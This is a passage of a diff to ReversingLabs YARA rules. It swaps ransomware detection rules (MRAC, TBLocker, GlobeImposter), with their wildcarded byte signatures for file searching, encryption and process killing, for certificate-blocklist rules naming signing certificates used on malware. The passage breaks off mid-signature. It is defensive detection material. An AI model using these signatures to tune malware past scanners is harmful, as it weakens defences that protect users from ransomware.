LIMITED" and pe.signatures [ i ] . serial == "3e:39:c2:cc:c4:94:43:8b:b8:c2:56:0f" and 1466142876 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_6E3B09F43C3A0Fd53B7D600F08Fae2B5 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "66025c6e-5d85-5660-87f1-3094a536bbe2" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16582-L16598" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "86b06519858dce4b77cb870905297a1fd1c767053fd07c0b0469eb7fc3ba6b32" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Divisible Limited" and pe.signatures [ i ] . serial == "6e:3b:09:f4:3c:3a:0f:d5:3b:7d:60:0f:08:fa:e2:b5" and 1507248000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_MRAC : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_21220646C639D62C16992F46 : INFO FILE { meta: - description = "Yara rule that detects MRAC ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "135c3dc9-bf08-5f00-bade-7054d9f33830" - date = "2022-02-21" - modified = "2022-02-21" + id = "b80b1832-6bfa-555b-8462-cd17f9e5e0e1" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MRAC.yara#L1-L69" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16600-L16616" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "04e8364dc9c726f4bb2d3035e5b7e8dab4cae124b2f047be6f11b865fab557a7" + logic_hash = "87202c29867e6410d59c1e3b5ab09a24ebac5c68c61d7b932b91a91dcf3707e2" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "MRAC" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - B8 ?? ?? ?? ?? 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? - 83 C1 ?? 83 C0 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 8B 75 ?? 85 C0 75 ?? B1 - ?? EB ?? 32 C9 8B 45 ?? 88 4D ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? ?? ?? 8B C6 81 F9 ?? - ?? ?? ?? 72 ?? 8B 76 ?? 83 C1 ?? 2B C6 83 C0 ?? 83 F8 ?? 77 ?? 51 56 E8 ?? ?? ?? ?? - 8A 4D ?? 83 C4 ?? 8A C1 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? - ?? ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? E8 - } - $import_key = { - 8D 45 ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 - ?? 89 45 ?? 8D 4D ?? 51 50 6A ?? 6A ?? FF 75 ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 75 ?? FF - 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF - 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? FF - 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF D6 85 C0 0F - 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 - ?? ?? ?? ?? 8B C8 F6 C1 ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 C1 E8 ?? 40 C1 E0 ?? 2B - C1 68 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 6A - ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 8B 45 ?? 3D ?? ?? ?? ?? 0F 92 C3 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 57 6A ?? 0F - B6 C3 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D - 45 ?? 50 FF 75 ?? 57 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? EB ?? 8B 75 ?? 84 - DB 74 - } - $find_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 74 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 06 FF - D7 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 90 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 - F6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B - 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $import_key ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sivi Technology Limited" and pe.signatures [ i ] . serial == "21:22:06:46:c6:39:d6:2c:16:99:2f:46" and 1466130984 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Tblocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_738663F2C9E4Adb3Ad5306Aa5E7Cc548 : INFO FILE { meta: - description = "Yara rule that detects TBLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "91793018-baf6-5e70-83b6-8793482c3bec" - date = "2020-06-26" - modified = "2020-07-15" + id = "9fa41321-9736-5e67-b561-005b6d893e3f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TBLocker.yara#L1-L85" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16618-L16634" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "81f0077655ac0e59cd8dc05be602ae500c938668bd57d3cf4a51fbff2a5b6b83" + logic_hash = "518a22e31432ee42e6aceb861815f7f9e84f2430b7fb3a78b498e45c584584ab" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "TBLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $main_ransomware_function_p1 = { - 00 02 16 28 ?? ?? ?? ?? 00 02 17 28 ?? ?? ?? ?? 00 02 16 28 ?? ?? ?? ?? 00 02 16 28 ?? ?? ?? ?? 00 02 - 16 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 16 FE ?? 0A 06 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 72 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 16 15 28 ?? ?? ?? ?? 26 00 00 28 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 16 FE ?? 0B 07 39 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 0C 08 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 00 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 00 DE ?? 25 - 28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 17 28 ?? ?? ?? ?? - 00 02 18 28 ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? - 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 - } - $main_ransomware_function_p2 = { - 28 ?? ?? ?? ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? - ?? 5B 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 - ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? - ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? - ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? - ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F ?? DA 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? - ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? ?? B7 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 23 ?? ?? ?? ?? ?? - ?? ?? ?? 5A 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F - } - $search_files = { - 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 38 ?? ?? ?? ?? 06 6F ?? ?? ?? - ?? 0B 07 07 6F ?? ?? ?? ?? 17 DA 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 16 FE - ?? 0C 08 2C ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 0D 09 2C ?? 00 02 07 07 72 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 07 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? - ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 16 14 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? DE ?? 00 00 00 00 00 00 06 6F - ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? - 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? - 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 11 ?? 6F ?? - ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 17 DA 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? - ?? ?? ?? 16 FE ?? 13 ?? 11 ?? 2C ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 13 ?? - 11 ?? 2C ?? 00 02 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 11 ?? - 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 16 14 28 ?? ?? ?? ?? 26 28 ?? - ?? ?? ?? DE ?? 00 00 00 00 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 - ?? 6F ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 17 D6 13 ?? - 11 ?? 11 ?? 8E 69 FE ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? 2A - } - $encrypt_files = { - 00 00 03 19 17 73 ?? ?? ?? ?? 0A 04 18 18 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 08 28 ?? ?? ?? ?? 05 6F - ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 28 ?? ?? ?? ?? 05 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? - 0D 07 09 17 73 ?? ?? ?? ?? 13 ?? 06 6F ?? ?? ?? ?? 17 6A DA B7 17 D6 8D ?? ?? ?? ?? 13 ?? 06 11 ?? 16 - 11 ?? 8E 69 6F ?? ?? ?? ?? 26 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 07 - 6F ?? ?? ?? ?? 00 06 6F ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( ( all of ( $main_ransomware_function_p* ) ) and $search_files and $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GIN-Konsalt" and pe.signatures [ i ] . serial == "73:86:63:f2:c9:e4:ad:b3:ad:53:06:aa:5e:7c:c5:48" and 1498435200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Globeimposter : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4280F2C8Ce1D98E5F8Da7Ecb005Eeae5 : INFO FILE { meta: - description = "Yara rule that detects GlobeImposter ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6634a554-b4bb-503d-a4f1-9997b4caa1f0" - date = "2020-06-26" - modified = "2020-07-15" + id = "559dc522-bc23-5716-b8ad-9e9df102936b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GlobeImposter.yara#L1-L171" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16636-L16652" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4345a767f270428f3b509fdad5a96bf9b494b190d3a836c4bf53dfd75da5bacb" + logic_hash = "4cc8f00a9704f595f3e48375942a19cd6f8d6c0e53afc932a61f5a4326be4bcb" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "GlobeImposter" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_1 = { - 81 EC ?? ?? ?? ?? 83 24 24 ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 44 24 - ?? 50 E8 ?? ?? ?? ?? 8D 04 24 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 8B 1D ?? - ?? ?? ?? 55 56 57 8B 3D ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 E8 ?? ?? - ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 8D 84 24 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 50 89 74 24 ?? FF D3 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 8B E8 83 FD ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 - 74 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 44 24 ?? 50 E8 - ?? ?? ?? ?? F6 44 24 ?? ?? 8B F0 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? - 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? - 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? - 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 50 FF B4 24 - ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? - 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? - 50 FF D3 6A ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D - 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 74 24 ?? 59 8D 44 24 ?? 50 - 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C2 - } - $search_files_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 8B F8 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 - 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? F6 C3 ?? 74 ?? 8D 85 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 6A ?? 6A - ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 - 04 B7 51 50 FF 15 ?? ?? ?? ?? 46 FE 85 ?? ?? ?? ?? D1 EB 75 ?? EB ?? 68 ?? ?? ?? ?? - FF 34 B7 FF 15 ?? ?? ?? ?? 85 C0 74 - } - $encrypt_files_2 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 24 24 ?? 53 55 56 57 E8 ?? ?? ?? ?? 8B D0 8D 4C 24 - ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? - ?? 8B 35 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 7C 24 ?? - FF D3 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 7C ?? ?? ?? ?? 8D 44 - 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F8 33 D2 F6 44 - 24 ?? ?? 8B CF 74 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 - ?? ?? ?? ?? 50 FF D3 8D 94 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? - 42 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 - 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 - ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 51 6A ?? 5A 8B - CF E8 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? - ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? - ?? ?? 50 FF D3 6A ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B 7C 24 ?? 59 8D 44 24 ?? - 50 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? E8 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C2 - } - $kill_specific_processes_2 = { - 81 EC ?? ?? ?? ?? 56 57 6A ?? 5E 56 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 - 74 24 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 53 55 BE ?? ?? ?? - ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 8B E8 33 D2 85 ED 7E ?? 0F BE 0C 1A E8 ?? ?? ?? ?? 88 04 1A 42 3B D5 7C ?? FF 36 - 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? 85 C0 74 ?? 33 DB - 53 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? FF B4 - 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8D - 44 24 ?? 50 53 53 68 ?? ?? ?? ?? 53 53 53 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? - ?? 8D 84 24 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? - ?? ?? ?? 5D 5B 5F 5E 81 C4 ?? ?? ?? ?? C2 - } - $kill_specific_processes_1 = { - 81 EC ?? ?? ?? ?? 55 56 57 6A ?? 5E 56 33 ED 8D 44 24 ?? 55 50 E8 ?? ?? ?? ?? 83 C4 - ?? 89 74 24 ?? 55 6A ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 83 